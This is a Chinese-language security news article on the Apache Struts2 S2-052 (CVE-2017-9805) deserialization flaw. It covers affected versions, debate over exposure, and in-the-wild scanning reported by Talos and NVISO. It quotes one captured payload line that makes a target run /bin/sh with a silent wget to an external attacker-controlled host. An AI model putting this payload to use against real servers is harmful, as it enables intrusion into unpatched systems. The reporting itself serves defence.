Struts2 新漏洞(S2-052)出現利用實例,麵對漏洞企業應當分秒必爭
9月5日,千瘡百孔的 Struts2 應用又曝出存在新的高危遠程代碼執行漏洞(S2-052)。該漏洞由 lgtm.com 的安全研究員匯報,編號為 CVE-2017-9805 ,漏洞危害程度為高危(Critical)。其實,相似的漏洞已經在 Struts 中多次發現,今年早些時候攻擊者還利用了 Windows 服務器中的 Apache Struts 漏洞散發 Cerber 勒索軟件。
近日,來自思科 Talos 實驗室和 NVISO 實驗室的研究員也發現,已經有攻擊者真實利用了 S2-052 的漏洞。
事實上,漏洞爆出的第二天,就有研究人員利用這個漏洞進行了滲透測試。
有一些研究人員表示,這個遠程代碼利用漏洞與 Struts 反序列化處理不受信任的數據有關,會影響自 2008 年以來所有版本的 Apache Struts,從 Struts 2.5 到 Struts 2.5.12。由於 Struts REST 通信插件在反序列化過程中無法合理處理 XML payloads,因此所有使用這個插件的 web 應用都有可能遭到遠程代碼執行攻擊。目前財富 100 強的企業中,至少有 65% 的企業使用 Struts,因此,這些企業都應當提高警惕。
而來自 Contrast Security 的安全專家則表示:
這個漏洞隻影響同時使用 Struts 2 和 Struts 2 REST 插件的應用。ZDNet 對此漏洞影響的報道有些誇大,他們可能默認了所有使用 Struts 2 的人都會使用 Struts 2 REST 插件。而我們所檢測到的數據顯示,我們所負責的 Java 應用使用 Struts 2 REST 插件的比例不到 1%。來自 Maven 的數據顯示,Struts 2 核心庫擁有 167 名下遊客戶,而 Struts 2 REST 插件庫則隻有 9 名下遊客戶,由此可以看出這個插件的應用範圍和漏洞的影響範圍。 |
不論是影響範圍廣,還是影響範圍小,隻要有漏洞,就有可能被攻擊者利用。
來自思科 Talos 實驗室和 NVISO 實驗室的研究員就表示,有攻擊者利用一個俄羅斯網站發送請求並搜集結果,檢測是否存在漏洞尚未修複的服務器,以便進一步展開攻擊。
漏洞爆出後,我們很快就發現攻擊者利用這個漏洞的實例。目前,利用實例看起來隻處於初步探測階段,同時會發出請求、檢測可能存在的未修複漏洞的目標。如下是我們檢測到的發出 HTTP 請求的樣本。 |
- <string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null https://wildkind[.]ru:8082/?vulnerablesite</string>
這個請求將會發起 wegt 請求,將 HTTP 的相應結果寫入 /dev/null。這意味著這個請求純粹進行的是瀏覽檢測活動,可以識別遠程服務器上有哪些網站存在可被利用的漏洞。
NVISO 安全專家也檢測到了類似結果:
由於該行為向 /struts2-rest-showcase/orders/3 發送了 POST 請求,因此我們第一時間檢測到了這個活動抓包結果顯示,這個活動主要是為了探查存在漏洞的目標:抓包到的 payload 實際上是 /bin/sh 命令,能執行某被入侵的俄羅斯網站發布的靜默 wget 命令,獲取請求瀏覽的網站名稱,而下載內容則會被丟棄。 |
Talos 研究員還表示,這個活動探測過程中,有可能會發送惡意文件。目前還在進一步分析之中。
這再一次說明,隻要有漏洞爆出,黑客黑快就會進行利用。在S2-052 漏洞爆出的 48 小時內,我們不斷監測利用該漏洞的係統活動。其實漏洞出現的第一時間就有補丁發布,但是黑客為了錢,還是能很快進行逆向並開發出利用代碼。如今的網絡環境中,如果企業花幾星期甚至幾個月對漏洞進行應急響應已經來不及了。現在需要在幾天或者幾小時內迅速響應才能避免更多損失。在應急響應中,企業應當分秒必爭。
以下附上攻擊實例利用代碼,僅做研究參考,嚴禁用於非法目的。
本文作者:AngelaY
來源:51CTO
最後更新:2017-11-02 17:04:52